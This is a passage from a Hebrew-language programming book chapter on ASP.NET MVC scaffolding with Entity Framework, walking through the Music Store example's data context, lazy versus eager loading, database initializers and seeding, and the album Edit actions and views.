 קשר הנתוניםהֶ

בשם חדש  קובץ של היישום שלכם) Models(לתיקיית המודלים מערכת הפיגומים מוסיפה 
MusicStoreDB.cs .לקה בתוך הקובץ יורשת מהמחלקה המחDbContext של EF ומספקת גישה 

למרות שהעברנו למערכת . אנר ולאמן'לז, למידע בבסיס הנתונים אשר קשור לאלבום
המערכת זיהתה את המודלים הנלווים וכללה אותם , Albumהפיגומים מידע רק על המחלקה 

 . בהֶקשר הנתונים
public class MusicStoreDB : DbContext 

{ 

 public DbSet<Album> Albums { get; set; } 

 

 public DbSet<Genre> Genres { get; set; } 

 

 public DbSet<Artist> Artists { get; set; } 

} 

. כל שצריך לעשות הוא ליצור מופע של מחלקת הקשר הנתונים, כדי לגשת לבסיס הנתונים
התשובה ? נים ישמש את הקשר הנתוניםאתם בוודאי שואלים את עצמכם איזה בסיס נתו

 . כאשר נריץ את היישום לראשונה, לשאלה זו תינתן בהמשך
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 StoreManagerControllerבקר ה

 של Controllers בתיקייה StoreManagerControllerתבנית הפיגומים שבחרנו יוצרת גם בקר 
 השורות אלו. לבוםהבקר מכיל את כל הקוד שדרוש כדי לבחור ולערוך את פרטי הא. היישום

 : הראשונות בהגדרת מחלקת הבקר
public class StoreManagerController : Controller 

{ 

 private MusicStoreDB db = new MusicStoreDB(); 

 

// 

// GET: /StoreManager/ 

public ViewResult Index() 

{ 

 var albums = db.Albums.Include(a => a.Genre).Include(a => a.Artist); 

 return View(albums.ToList()); 

} 

 
// more code….. 

ניתן לראות שמערכת הפיגומים הוסיפה לבקר שדה פרטי מטיפוס , בקטע הקוד הראשון
MusicStoreDB ,מכיוון , והיא גם אתחלה את השדה עם מופע חדש של מחלקת הקשר נתונים

 ניתן לראות את Index של הפעולה בקוד. שכל פעולת בקר חייבת גישה לבסיס נתונים
והעברת הרשימה , השימוש בהקשר הנתונים לטעינת כל האלבומים מבסיס הנתונים לרשימה

 . הזו כמודל לתצוגת ברירת המחדל

 טעינת אובייקטים משויכים

 EF הינה להורות לתשתית Index שמופיעים בפעולה Includeמטרת הקריאות לשיטה 
אנר והאלבום 'בעת טעינת פרטי הז )eager loading (מזורזת  טעינהבאסטרטגייתלהשתמש 

במסגרת אסטרטגיית טעינה מזורזת נעשה ניסיון לטעון את כל . שמשויכים לאלבום מסוים
 . הנתונים באמצעות שאילתה אחת

 נקראת אסטרטגיית EFשל תשתית ) אשר מיושמת על פי ברירת מחדל(האסטרטגיה החלופית 
 טוענת אך ורק את נתוני האובייקט הראשי EFתשתית ,  בדרך זו:)lazy loading(טעינה עצלה 

 :  נותרים ללא ערךArtist- וGenreבעוד שהמאפיינים , )האלבום (LINQבשאילתת 
var albums = db.Albums; 

. הנתונים המשויכים נשלפים רק כאשר קיים צורך מפורש בהם, בעת היישום של טעינה עצלה
רק ) על ידי שליחת שאילתה נוספת לבסיס הנתונים(ת את הנתונים  טוענEFתשתית , כלומר

כאשר עובדים , לרוע המזל. Album של אובייקט Artist או Genreכאשר מישהו נוגע במאפיין 
אסטרטגיית טעינה עצלה עלולה לאלץ את התשתית לשלוח , עם רשימה של פרטי אלבומים

 100עבור רשימה של . בומים ברשימהשאילתה נוספת לבסיס הנתונים עבור כל אחד מהאל
.  שאילתות נוספות101טעינה עצלה של כל פרטי האמנים דורשת שליחה של , אלבומים
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 שאילתות כדי 101מכיוון שהתשתית מבצעת  (N+1התרחיש שזה עתה תיארנו מכונה בעיית 
ת ומפתחים נדרשים להתמודד איתה לעתים קרובות בע, ) אובייקטים מאוכלסים100להחזיר 

אך עלולה , טעינה עצלה היא טכניקה נוחה. טבלה-שימוש בתשתיות מיפוי מסוג אובייקט
 . להיות בזבזנית

 כאמצעי ייעול להפחתת מספר השאילתות הנדרשות לבניית Includeאפשר לראות את השיטה 
 MSDNבאתר " Loading Related Objects"ראו , למידע נוסף על טעינה עצלה. מודל מלא

 . http://msdn.microsoft.com/library/bb896272.aspxבכתובת 

מחיקה , עריכה, מערכת הפיגומים יוצרת עבור המשתמשים גם פעולות שמשמשות ליצירה
 . בהמשך הפרק נבחן מקרוב את הפעולות של פונקציית העריכה. והצגה של פרטי אלבום

 התצוגות 

א אוסף של תצוגות בתיקייה תוכלו למצו, לאחר שמערכת הפיגומים מסיימת את פעולתה
תצוגות אלו מספקות את ממשק המשתמש הדרוש להצגת . Views/StoreManagerחדשה בשם 

 . 4-6ניתן לראות את התצוגות בתרשים . ולעריכה ומחיקה של אלבומים, אלבומים ברשימה

 

 4-6תרשים 

וגה הזו הינו המודל לתצ.  מצוידת בכל הקוד הדרוש להצגת טבלה של אלבומיםIndexהתצוגה 
המודל .  מספקתIndexאשר הפעולה , וכפי שכבר ראינו, Albumרצף ממוספר של אובייקטי 

אשר בהן , HTML כדי ליצור שורות בטבלת foreachאשר משתמש בלולאה , מועבר לתצוגה
 :כלולים פרטי כל אלבום

@model IEnumerable<MvcMusicStore.Models.Album> 
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@{ 

ViewBag.Title = "Index"; 

} 

 

<h2>Index</h2> 

 

<p> 

@Html.ActionLink("Create New", "Create") 

</p> 

<table> 

 <tr> 

  <th>@Html.DisplayNameFor(model => model.Genre.Name)</th> 

  <th>@Html.DisplayNameFor(model => model.Artist.Name)</th> 

  <th>@Html.DisplayNameFor(model => model.Title)</th> 

  <th>@Html.DisplayNameFor(model => model.Price)</th> 

  <th>@Html.DisplayNameFor(model => model.AlbumArtUrl)</th> 

  <th></th> 

 </tr> 

 

@foreach (var item in Model) { 

 <tr> 

  <td>@Html.DisplayFor(modelItem => item.Genre.Name)</td> 

  <td>@Html.DisplayFor(modelItem => item.Artist.Name)</td> 

  <td>@Html.DisplayFor(modelItem => item.Title)</td> 

  <td>@Html.DisplayFor(modelItem => item.Price)</td> 

  <td>@Html.DisplayFor(modelItem => item.AlbumArtUrl)</td> 

  <td> 

   @Html.ActionLink("Edit", "Edit", new { id=item.AlbumId }) | 

   @Html.ActionLink("Details", "Details", new { id=item.AlbumId }) | 

   @Html.ActionLink("Delete", "Delete", new { id=item.AlbumId }) 

  </td> 

 </tr> 

} 

</table> 

שיש להציג " החשובים"יש לשים לב שמערכת הפיגומים בוחרת עבורנו את כל השדות 
שאין להם שום משמעות (הערכים של מאפיין מפתח זר , במילים אחרות. הלקוח/למשתמש

אנרים ושמות האמנים שמשויכים 'אבל שמות הז, אינם מופיעים בטבלה) עבור הלקוח
 לביצוע כל DisplayFor בשם HTML במסייע התצוגה משמשת. לאלבומים דווקא כן מוצגים

 . פעולות הפלט

כפי . למחיקה ולהצגת הפרטים של כל אלבום, כל שורה בטבלה כוללת קישורים לעריכה
סביר להניח שכל . הקוד שתבנית הפיגומים מספקת מהווה נקודת פתיחה בלבד, שכבר נאמר

התצוגות כדי להתאימן להסיר ולשנות חלק מהקוד ולשחק קצת עם , אחד ירצה להוסיף
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צריך להריץ תחילה את היישום כדי , אולם לפני שעורכים שינויים. לדרישות המיוחדות שלו
 . לראות כיצד מתנהגות התצוגות בחלון הדפדפן

 הרצת קוד הפיגומים

נו בחלקו הקודם של יראשית עלינו לענות על שאלה חשובה שהעל, לפני שנריץ את היישום
אנחנו בהחלט לא ? MusicStoreDBונים תשתמש מחלקת הקשר הנתונים באיזה בסיס נת. הפרק

 . ואפילו לא הגדרנו חיבור לבסיס נתונים, לשימוש היישוםיצרנו בסיס נתונים 

  Entity Frameworkיצירת בסיסי נתונים באמצעות 

אם לא .  מסתמכת על מוסכמות במקום הגדרות ככל שאפשרEFתחילה של תשתית -גישת קוד
התשתית ,  מיפוי מפורש מהמודלים שלכם אל הטבלאות והעמודות של בסיס הנתוניםתגדירו

אם לא תגדירו חיבור מפורש לבסיס נתונים . תשתמש במוסכמות ליצירת סכמת בסיס נתונים
 .התשתית תיצור בעצמה את החיבור על פי המוסכמות, לשימוש בזמן הריצה

 הגדרת תצורת חיבור

תחילה מסתכמת -בור עבור הֶקשר הנתונים שנוצר בגישת קודהגדרה מפורשת של תצורת החי
שם מחרוזת החיבור חייב להיות . web.configלקובץ  בסיס נתונים בהוספת מחרוזת חיבור

ניתן לשלוט בחיבורי , בקוד שפיתחנו במהלך הפרק. תואם לשם של מחלקת הקשר הנתונים
 : ר שלהלןבסיס הנתונים של הֶקשר הנתונים באמצעות מחרוזת החיבו

<connectionStrings> 

 <add name="MusicStoreDB" 

  connectionString="data source=.\SQLEXPRESS; 

   Integrated Security=SSPI; 

   initial catalog=MusicStore" 

  providerName="System.Data.SqlClient" /> 

</connectionStrings> 

 קיים של שרת LocalDB תנסה להתחבר למופע EFית תשת, בהיעדר תצורת חיבור מפורשת
SQL Server Express , ולאתר בסיס נתונים בעל שם זהה למחלקת הֶקשר הנתונים שגזרנו

 מצליחה להתחבר לשרת בסיס נתונים אך אינה EFאם תשתית . DbContextממחלקת הבסיס 
את היישום לאחר בניית אם תריצו . התשתית יוצרת בעצמה בסיס נתונים, מוצאת בסיס נתונים

 LocalDBבתיקייה  יצרה EFשתשתית תיווכחו , StoreManager/הפיגומים ותנווטו לכתובת 
אם תציגו תרשים מלא של בסיס . MvcMusicStore.Models.MusicStoreDBבסיס נתונים בשם 

 . 4-7תוכלו לראות את המבנה שמוצג בתרשים , הנתונים החדש
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 4-7תרשים 

התשתית . אנר'אמן וז, ת באופן אוטומטי טבלאות לאחסון נתוני אלבום יוצרEFתשתית 
מסתמכת על השמות ועל טיפוסי הנתונים של מאפייני המודל לקביעת השמות וטיפוסי 

שימו לב שהתשתית גם הצליחה להסיק את עמודת המפתח . הנתונים של עמודות הטבלה
 . טבלאותהראשי של כל אחת מהטבלאות ואת יחסי המפתח הזר בין ה

 להבטיח שמחלקות המודל EF שבבסיס הנתונים מאפשרת לתשתית EdmMetadataהטבלה 
מהגדרות מחלקת ) hash(על ידי חישוב ערך גיבוב (מסונכרנות על פי סכמת בסיס הנתונים 

הסרה של מאפיין או הוספה , על ידי הוספה של מאפיין(אם תשנו את המודל שלכם ). המודל
או , תשתית תיצור מחדש את בסיס הנתונים על בסיס המודל החדשה, )למשל, של מחלקה

התשתית לא תיצור מחדש את בסיס הנתונים ללא רשות . אל חשש. שגיאה, יע על חריגדתו
 . )database initializer(מאתחל בסיס נתונים ולשם כך עליכם לספק , מפורשת מכם

etadataMEdm 

מטרת .  לבסיס הנתונים החדשEdmMetadata אינה מחייבת הוספה של הטבלה ETתשתית 
אתם יכולים למחוק בבטחה .  לאפשר לתשתית לזהות שינויים במחלקות המודלהיאהטבלה 

.  תניח שאתם יודעים מה אתם עושיםEFותשתית , מבסיס הנתונים EdmMetadataאת הטבלה 
יס תידרשו לשנות בעצמכם את סכמת בס) או אנשים מטעמכם(אתם , לאחר הסרת הטבלה

במקרים מסוימים תצטרכו גם . הנתונים במקרה שיש להתאימה לשינויים במודלים שלכם
לשנות את המיפוי בין המודלים לבין בסיס הנתונים כדי להבטיח את המשך פעולתו התקינה 

 ראו הרחבה בכתובת  , למידע בסיסי על מיפוי וסימון. של היישום

http://msdn.microsoft.com/library/gg696169(VS.103).aspx 

  נתונים י בסיסים שלשימוש במאתחל

דרך פשוטה לסנכרן את בסיס הנתונים על פי השינויים שאתם מבצעים במודל שלכם היא 
אתם יכולים .  ליצור מחדש את בסיס הנתונים הקייםEntity Frameworkלאפשר לתשתית 
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או ליצור , ם מורץ ליצור מחדש את בסיס הנתונים בכל פעם שהיישוEFלהורות לתשתית 
הבחירה באחת משתי . מחדש את בסיס הנתונים רק כאשר התשתית מזהה שינוי במודל

 אשר שייכת SetInitializerהאסטרטגיות הללו מתבצעת בעת הקריאה לשיטה הסטטית 
 . )System.Data.Entityתחת מרחב השמות  (EF של Databaseלמחלקה 

. IDatabaseInitializerעליכם להעביר אליה אובייקט , SetInitializerכאשר אתם קוראים לשיטה 
  והמאתחלDropCreateDatabaseAlwaysהמאתחל : התשתית מספקת שני מאתחלים כאלה

DropCreateDatabaseIfModelChanges . קל מאוד להסיק משמות המחלקות הללו איזו מבין
ים מקבלים פרמטר שני המאתחל. שתי האסטרטגיות שזה עתה הצגנו מייצגת כל אחת מהן

 . DbContextבת של -אשר חייב להיות מחלקה, מטיפוס גנרי

ה בכל פעם מוסיקשברצונכם ליצור מחדש את בסיס הנתונים של חנות ה, נניח לדוגמה
אתם יכולים להגדיר מאתחל בשלב הפעלת , global.asax.csבתוך . מחדששהיישום מופעל 

 :היישום
protected void Application_Start() 

{ 

 Database.SetInitializer(new DropCreateDatabaseAlways<MusicStoreDB>()); 

 AreaRegistration.RegisterAllAreas(); 

 RegisterGlobalFilters(GlobalFilters.Filters); 

 RegisterRoutes(RouteTable.Routes); 

} 

 בסיס הנתונים בכל פעם אתם עשויים לשאול את עצמכם למה שמישהו ירצה ליצור מחדש את
 . עדיין נרצה לשמור את הנתונים שמאוחסנים בו, אפילו אם המודל משתנה? שהיישום מופעל

וכך גם מאתחלי בסיס (תחילה -והתשובה לה טמונה בעובדה שגישת קוד, זו שאלה לגיטימית
, נועדה לסייע למפתחים בשלבים המוקדמים של מחזור הפיתוח של היישום) הנתונים
יפתח לקבלת יכאשר האתר יעלה לרשת ו. פיינים בבדיקות חוזרות ובשינויים מהיריםשמאו

כמובן שלא יהיה עוד צורך ביצירה מחדש של בסיס הנתונים בכל , נתונים מלקוחות אמיתיים
 . פעם שהמודל משתנה

MIGRATIONS 
טי  כוללת את היכולת לגלות שינויים שבוצעו באובייקEntity Framework של 4.3גרסת 

 מאפשרת לשמור migrationsטכניקת . SQLהמודל ולהפיק הנחיות לשינוי סכמה עבור שרת 
את הנתונים הקיימים בבסיס הנתונים שלכם כאשר אתם בונים ומלטשים את הגדרות המודל 

 למידע נוסף ראו . החדש

http://blogs.msdn.com/b/adonet/archive/2012/02/09/ef-4-3-code-based-

migrationswalkthrough.aspx 
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בשלבים הראשוניים של הפרויקט ייתכן שתרצו לאכלס את בסיס הנתונים החדש עם מספר 
) seeding(תוכלו לעשות זאת על ידי הזרעת . כמו למשל ערכי חיפוש, רשומות התחלתיות

 . בסיס הנתונים

 )Seeding a Database (הזרעת בסיס נתונים

 אנחנו רוצים ליצור MVC Music Storeם ויישתוח ההבה נניח שבשלבים הראשונים של פי
אנחנו רוצים , מצד שני. מחדש את בסיס הנתונים בכל פעם שאנחנו מפעילים את היישום

כדי שנוכל , אמנים ואפילו אלבום, אנרים'יהיו בו כמה ז, שבכל פעם שבסיס הנתונים נוצר
 .  פעם מחדשלהפעיל את היישום בלי שנצטרך להזין נתונים באופן ידני בכל

 DropCreateDatabaseAlwaysנוכל לייצר מחלקה חדשה היורשת מהמחלקה , כדי לעשות זאת
כפי ,  מאפשרת ליצור נתונים התחלתיים עבור היישוםSeedהשיטה . Seedולשכתב את השיטה 
 : שמוצג בקוד שלהלן

public class MusicStoreDbInitializer 

 : DropCreateDatabaseAlways<MusicStoreDB> 

{ 

 protected override void Seed(MusicStoreDB context) 

 { 

  context.Artists.Add(new Artist {Name = "Al Di Meola"}); 

 

  context.Genres.Add(new Genre { Name = "Jazz" }); 

 

  context.Albums.Add(new Album 

   { 

    Artist = new Artist { Name="Rush" }, 

    Genre = new Genre { Name="Rock" }, 

    Price = 9.99m, 

    Title = "Caravan" 

   }); 

  base.Seed(context); 

 } 

} 

גורמת לשמירת האובייקטים החדשים בבסיס  של מחלקת הבסיס Seedקריאה ליישום 
שני , )רוקאז ו'ג(אנרים 'בכל יצירה חדשה של בסיס הנתונים יכללו בו שני ז, כעת. הנתונים
כדי שהמאתחל של בסיס הנתונים החדש יפעל . ואלבום אחד, )Rush- וAl Di Meola(אומנים 
 :עליכם לעדכן את קוד ההפעלה של היישום לביצוע הרשמה של המאתחל, כהלכה

protected void Application_Start() 

{ 
  Database.SetInitializer(new MusicStoreDbInitializer()); 

 

 AreaRegistration.RegisterAllAreas(); 

 RegisterGlobalFilters(GlobalFilters.Filters); 

 RegisterRoutes(RouteTable.Routes); 

} 
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תופיע , StoreManager/תריצו את היישום ותנווטו לכתובת , תפעילו מחדש את המערכתאם 
 . 4-8כמוצג בתרשים ,  של מנהל החנותIndexבפניכם תצוגת 

  .כעת יש בידכם יישום מתפקד עם פונקציות פועלות ונתונים אמיתיים! לזה הכו

אך זכרו שאת רוב המאמץ ,  שכרוך בעבודה רבהכזהכם כייתכן שהתרגיל שביצענו נראה בעיני
 ובהבנת אופן הפעולה של Entity Frameworkבפרק זה השקעתם בהבנת הקוד שהופק על ידי 

העבודה , יכולה לעשות עבורכם מערכת הפיגומיםלאחר שאתם מבינים מה . התשתית עצמה
 : וכוללת שלושה שלבים בלבד, שעליכם לבצע בפועל זעומה למדי

 . יישום מחלקות המודל .1

 . בניית הפיגומים לבקר ולתצוגות .2

 . בחירת אסטרטגיית אתחול בסיס הנתונים .3

 

 4-8תרשים 

 לפיתוח של חלק מאוד מסוים הפיגומים מספקים נקודות התחלה, זכרו שבסופו של דבר
. כעת אתם יכולים לערוך את הקוד ולשנות אותו בהתאם לדרישות היישום שלכם. ביישום
 לא )Edit ,Details ,Delete(שמופיעים מימין לכל שורה ברשימת האלבומים הקישורים , לדוגמה

כיוון כדאי להשאיר אותם במקומם מ, עם זאת. ואין שום מניעה להסירם, בהכרח נחוצים
שבהמשך הפרק נעסוק בתרחיש העריכה ונראה כיצד מתבצע עדכון של מודלים ביישומי 

ASP.NET MVC . 
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 עריכת אלבום

נקודת הפתיחה . אחד מהתרחישים שזוכה למענה ממערכת הפיגומים הינו עריכת פרטי אלבום
שים אשר מוצגת בתר, Index בתצוגה Editשל התרחיש היא לחיצה של המשתמש על הקישור 

שורת  לשרת האינטרנט עם HTTP GETבקשת  גורמת לשליחת Editהלחיצה על הקישור . 4-8
URL , כגון/StoreManager/Edit/8) 8 הוא ערך ID הרצוי של האלבום( . 

 בניית משאב לעריכת אלבום

לעריכה של  HTTP GET שולחים את בקשת MVCניתוב של הכללי , על פי ברירת מחדל
/StoreManager/Edit/8 אל הפעולה Edit של בקר StoreManager ,כפי שמוצג בקוד שלהלן: 

// 

// GET: /StoreManager/Edit/8 

public ActionResult Edit(int id = 0) 

{ 

 Album album = db.Albums.Find(id); 

 if (album == null) 

 { 

  return HttpNotFound(); 

 } 

 ViewBag.GenreId = new SelectList(db.Genres, "GenreId", "Name", album.GenreId); 

 ViewBag.ArtistId = new SelectList(db.Artists, "ArtistId", "Name", 

album.ArtistId); 

 return View(album); 

} 

היא משתמשת . #8 אחראית על בניית מודל לעריכת אלבום שהקוד המזהה שלו Editהפעולה 
ומעבירה אותו לתצוגה ,  את האלבום מבסיס הנתונים כדי לשלוףMusicStoreDBבמחלקה 

יהיה לכם ? ViewBagאך מה תפקיד שתי שורות הקוד שמכניסות מידע למאפיין . בתור המודל
קל יותר להבין את ההיגיון שמאחורי שתי שורות הקוד הללו אם תביטו בדף שמוצג למשתמש 

 ). 4-9תרשים (בעת עריכת אלבום 

אנר ' אנחנו לא רוצים לתת לו להזין טקסט חופשי לשדות הז,כאשר משתמש עורך אלבום
. אנר ואמן מתוך האפשרויות שכבר קיימות בבסיס הנתונים'אלא נרצה שיבחר ז, והאמן

, אנרים'אמנים וז, אשר מסתמכת על ניתוח של היחסים בין אלבומים, מערכת הפיגומים
 . מתוחכמת דיה כדי להבין זאת ובונה את התצוגה בהתאם
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 4-9תרשים 

תבנית הפיגומים , במקום לספק למשתמש תיבת טקסט שלתוכה הוא יקליד את הערך המבוקש
אנרים 'המאפשרת למשתמש לבחור אחד מהזרשימה נפתחת יוצרת תצוגת עריכה עם 

קוד זה משמש לבניית הרשימה .  של מנהל החנותEditהקוד שלהלן לקוח מתצוגת . הקיימים
 ). אנרים זמינים' כאשר היא פתוחה עם שני ז4-9 מוצגת בתרשים אשר(אנר 'הנפתחת לבחירת ז

<div class="editor-field"> 

 @Html.DropDownList("GenreId", String.Empty) 

 @Html.ValidationMessageFor(model => model.GenreId) 

</div> 

יח שעליכם אך בשלב זה ננ,  בצורה מעמיקה יותרDropDownListבפרק הבא נעסוק במסייע 
עליכם לדעת מהם פריטי , כדי לבנות את הרשימה. לבנות את הרשימה הנפתחת מאפס

 כי -אנרים זמינים בבסיס הנתונים ' אינו מכיל רשימה של זAlbumאובייקט . הרשימה הזמינים
שתי שורות הקוד הנוספות . אנר אחד בלבד אשר משויך לאלבום הרצוי'בכל אלבום מאוחסן ז

, אנרים האפשריים'שמשות לבניית הרשימות של כל האמנים האפשריים וכל הז מEditבפעולה 
 להשתמש DropDownList לאפשר למסייע כדי ViewBagוגם לאחסון הרשימות הללו במאפיין 

 .בהן בהמשך

ViewBag.GenreId = new SelectList(db.Genres, "GenreId", "Name", album.GenreId); 

ViewBag.ArtistId = new SelectList(db.Artists, "ArtistId", "Name", 

album.ArtistId); 
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אשר מייצגת את הנתונים הנדרשים לבנייה של , SelectListבקוד זה משתמשים גם במחלקה בשם 
הפרמטר הראשון שמועבר לבנאי משמש לציון הפריטים שישמשו להרכבת . רשימה נפתחת

 את הקוד שיועבר כאשר המשתמש בוחר הפרמטר השני הוא שם המאפיין שמכיל. הרשימה
הפרמטר השלישי הוא הטקסט שיוצג עבור כל פריט ). 2 או 52כמו , ערך מפתח(פריט מסוים 

 . הפרמטר הרביעי והאחרון מכיל את הערך של הפריט הראשון שנבחר"). Rush"או " Rock"כמו (

 מודלים ומודלי תצוגה

התרחיש ). view-specific model(לתצוגה -ודיבפרק הקודם עסקנו בקצרה ברעיון של מודל ייע
אינו יכול ) Albumאובייקט (של עריכת אלבום הינו דוגמה טובה למצב שבו אובייקט המודל 

אנחנו , בנוסף למידע שמכיל אובייקט האלבום. שנחוץ להכל המידע  אתלספק לתצוגה 
 . פשריים לבעיה הזולפנינו שני פתרונות א. אנרים והאמנים'זקוקים גם לרשימה של כל הז

העברת המידע הנוסף : הפתרון הראשון מיושם בקוד שהופק על ידי תבנית הפיגומים
אבל יש מפתחים שמעדיפים , זהו פתרון מקובל וסביר שקל מאוד ליישם. ViewBagבאמצעות 

 . שכל נתוני המודל יהיו זמינים דרך אובייקטי מודל בעלי טיפוסיות חזקה

סביר להניח שתעדיפו את האפשרות , סידי מודל הטיפוסיות החזקהאם גם אתם נמנים על ח
אנרים 'לצורך העברת נתוני האלבום יחד עם נתוני הז לתצוגה-מודל ייעודיבניית : השנייה

 : מודל שכזה עשוי להתבסס על הגדרת המחלקה שלהן. והאמנים הזמינים לתצוגה

public class AlbumEditViewModel 

{ 

 public Album AlbumToEdit { get; set; } 

 public SelectList Genres { get; set; } 

 public SelectList Artists { get; set; } 

} 

 תצטרך ליצור מופע של Editהפעולה , ViewBagבמקום לשים את כל המידע בתוך 
AlbumEditViewModel ,ולהעביר את מודל התצוגה אל , להציב ערכים בכל מאפייני האובייקט

כל אחד יכול . קשה להצביע על גישה אחת שטובה יותר באופן מובהק מהאחרת. התצוגה
 . או של הצוות, לבחור באפשרות שמתאימה ביותר לסגנון העבודה שלו

 Editהתצוגה 

 של המהותאך הוא מייצג נאמנה את , Editהקוד שלהלן אינו מפיק במדויק את תוכן התצוגה 
 : קוד התצוגה

@using (Html.BeginForm()) { 

 @Html.DropDownList("GenreId", String.Empty) 

 @Html.EditorFor(model => model.Title) 

 @Html.EditorFor(model => model.Price) 

<p> 

 <input type="submit" value="Save" /> 

</p> 

} 
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. יםהתצוגה כוללת טופס עם מגוון שדות קלט שהמשתמש יכול להזין באמצעותם את הנתונ
ושאר הקלט , )HTML של <select>אלמנטי (ת ובאמצעות רשימות נפתחחלק מהקלט מוזן 

תוכלו להבין את ). HTML של <"input type="text>אלמנטי (טקסט מוזן באמצעות תיבות 
 :  על פי הקוד שלהלןEdit שממומש באמצעות התצוגה HTML של המסמך המהות

<form action="/storemanager/Edit/8" method="post"> 

 <select id="GenreId" name="GenreId"> 

  <option value=""></option> 

  <option selected="selected" value="1">Rock</option> 

  <option value="2">Jazz</option> 

 </select> 

 <input class="text-box single-line" id="Title" name="Title" 

  type="text" value="Caravan" /> 

 <input class="text-box single-line" id="Price" name="Price" 

  type="text" value="9.99" /> 

 <p> 

  <input type="submit" value="Save" /> 

 </p> 

</form> 

 אל הכתובת HTTP POSTהדף מחזיר בקשת , כאשר המשתמש לוחץ על לחצן השמירה בטופס
/StoreManager/Edit/8 . הדפדפן אוסף באופן אוטומטי את כל הנתונים שהמשתמש מזין אל

שימו לב למאפייני . יחד עם הבקשה) בצירוף השמות המשויכים להם(ושולח את הערכים , טופס
name של האלמנטים inputו - select בדףHTML . השמות תואמים לשמות המאפיינים של מודל

 . בינו מדוע בחירת השמות התואמים כה חשובהומיד ת, )Albumהאובייקט (האלבום 

  לעריכהPOSTתגובה לבקשת 

אבל , Edit לעריכת פרטי אלבום נקראת HTTP POSTשמקבלת את בקשת ) action(גם הפעולה 
 : HttpPost הסימון על ידי מאפיין בשם  היא, הקודמת שראינוEditמפעולת מה שמבדיל אותה 

// 

// POST: /StoreManager/Edit/8 

 [HttpPost] 

public ActionResult Edit(Album album) 

{ 

 if (ModelState.IsValid) 

 { 

  db.Entry(album).State = EntityState.Modified; 

  db.SaveChanges(); 

  return RedirectToAction("Index"); 

 } 

 ViewBag.GenreId = new SelectList(db.Genres, "GenreId", 

        "Name", album.GenreId); 

 ViewBag.ArtistId = new SelectList(db.Artists, "ArtistId", 

        "Name", album.ArtistId); 

 return View(album); 

} 
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 שמכיל את כל השינויים שהתקבלו Albumהתפקיד של פעולה זו הוא לקבל אובייקט 
ויים לתהות כיצד אובייקט אתם עש. ולשמור את האובייקט בבסיס הנתונים, מהמשתמש

Albumהתשובה לשאלה זו תתגלה בסעיף הבא של הפרק.  המעודכן מועבר כפרמטר לפעולה ,
 . אך כעת נתמקד בתהליך שמתרחש בתוך הפעולה עצמה

 עריכה שמחנתיב 

וניתן לשמור את ) valid(הוא הקוד שמורץ כאשר המודל מאומת  )happy path(השמח הנתיב 
פעולה יכולה לוודא אם אובייקט המודל מאומת על ידי בדיקת . נתוניםהאובייקט בבסיס ה

 שבו 6וגם בפרק , נרחיב את הדיון במאפיין הזה בהמשך הפרק. ModelState.IsValidהמאפיין 
אתם יכולים להתייחס למאפיין , עד אז. להוסיף כללי אימות למודלנלמד כיצד 

ModelState.IsValid הזין נתונים חוקיים שמתאימים למאפייני סימון אשר מבטיח שהמשתמשכ 
 : תריץ את שורת הקוד הבאהEditהפעולה , אם המודל מאומת. האלבום

db.Entry(album).State = EntityState.Modified; 

 של האובייקט שערכיו מאוחסנים )data context(שר הנתונים קְהֶמציינת את שורת הקוד הזו 
ולכן התשתית צריכה להחיל את , )אלא אלבום קיים, ם חדשאין זה אלבו(כבר בבסיס הנתונים 

שורת הקוד הבאה . ולא לנסות ליצור רשומת אלבום חדשה, הערכים שלו לאלבום קיים
 הנתונים מפיקה את שרקְהֶובשלב זה מחלקת ,  הנתוניםשרקְהֶ על SaveChangesמפעילה את 

 .  כדי לשמר את הערכים החדשיםSQL של UPDATEהפקודה 

 ב עריכה עצובנתי

מבצע פעולה כאשר אימות  )sad path(הנתיב העצוב 
פעולת הבקר צריכה ליצור , במקרה זה. המודל נכשל

 כדי לאפשר למשתמש לתקן את Editמחדש את התצוגה 
נניח שהמשתמש הזין את הערך , לדוגמה. הקלט השגוי

"abc " בשדה המחיר)Price (המחרוזת . של האלבום
"abc "ולכן יהיה אימות של , ימלי חוקיאינה ערך דצ

הפעולה בונה מחדש את רשימות הפריטים עבור . המודל
 לחזור Editומבקשת מהתצוגה , בקרי הרשימה הנפתחת

. 4-10בפני המשתמש יוצג הדף שבתרשים . על הביצוע
בפועל סביר להניח שהשגיאה הזו תזוהה עוד לפני 

 ASP.NETשהנתונים נשלחים לשרת מכיוון שתשתית 

MVCמספקת אימות בצד השרת על פי ברירת מחדל  .
 . נושא זה ידון בהרחבה בהמשך הספר

גם הפעם תאלצו להמתין ? אתם בוודאי שואלים את עצמכם מניין הגיעה הודעת השגיאה
חשוב להבין כיצד מועבר האובייקט , בינתיים.  אשר עוסק במודל האימות6בסבלנות לפרק 

Album ,אל הפעולה , נתונים החדשים שהוזנו על ידי המשתמשאשר מכיל את כל ערכי הEdit .

4-10תרשים
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וזו אחת מהתכונות , )model binding(התהליך שמאחורי האוטומציה הזו נקרא קישור למודל 
 . ASP.NET MVCהחשובות ביותר של תשתית 

 )Model Binding (קישור למודל
אבל איננו מודעים , HTTP POST בתגובה לבקשת Editנוכל לדמות מצב שבו יושמה הפעולה 

מפתחי אתרים .  שנועדו להקל על העבודהASP.NET MVCלמנגנונים השונים של תשתית 
כדי .  עומדת למסור לשרת את ערכי הטופס הדרושיםEditמקצועיים צריכים להבין שהתצוגה 

אחת האפשרויות הינה לשלוף את הערכים הללו , להשתמש בערכים לעדכון אובייקט אלבום
 :בקשהישירות מה

[HttpPost] 

public ActionResult Edit() 

{ 

 var album = new Album(); 

 album.Title = Request.Form["Title"]; 

 album.Price = Decimal.Parse(Request.Form["Price"]); 

 

 // ... and so on ... 

} 

 בדוגמה זו .תוכלו לשער לעצמכם כיצד קוד מסוג זה יכול במהרה להתארך למספר שורות רב
למרות שבפועל יש לנו עוד ארבעה או , מוצג הקוד לקביעת הערך של שני מאפיינים בלבד

אשר מכיל את  (Formעליכם לשלוף את הערך של כל מאפיין מהאוסף . חמישה מאפיינים
. Albumולהציב את הערכים הללו במאפיינים של ) לפי שםממוינים , ערכי הטופס שנמסר לו

 . עליכם לבצע המרת טיפוס, מאפיין שאינו מטיפוס מחרוזתעבור כל , בנוסף

 יצרה את ההתאמה בין השמות של שדות הקלט בטופס לבין Editהתצוגה , למרבה המזל
שדה הקלט ששימש להזנת ,  שהוצג קודםHTMLבדף . Albumהשמות של מאפייני האובייקט 

הזנת המחיר אל המאפיין ושדה הקלט ששימש ל, Title נקרא Titleשם האלבום אל המאפיין 
Price נקרא Price . כגון (תוכלו לגרום לכך שהתצוגה תשתמש בשמות אחריםAlbumNameו -
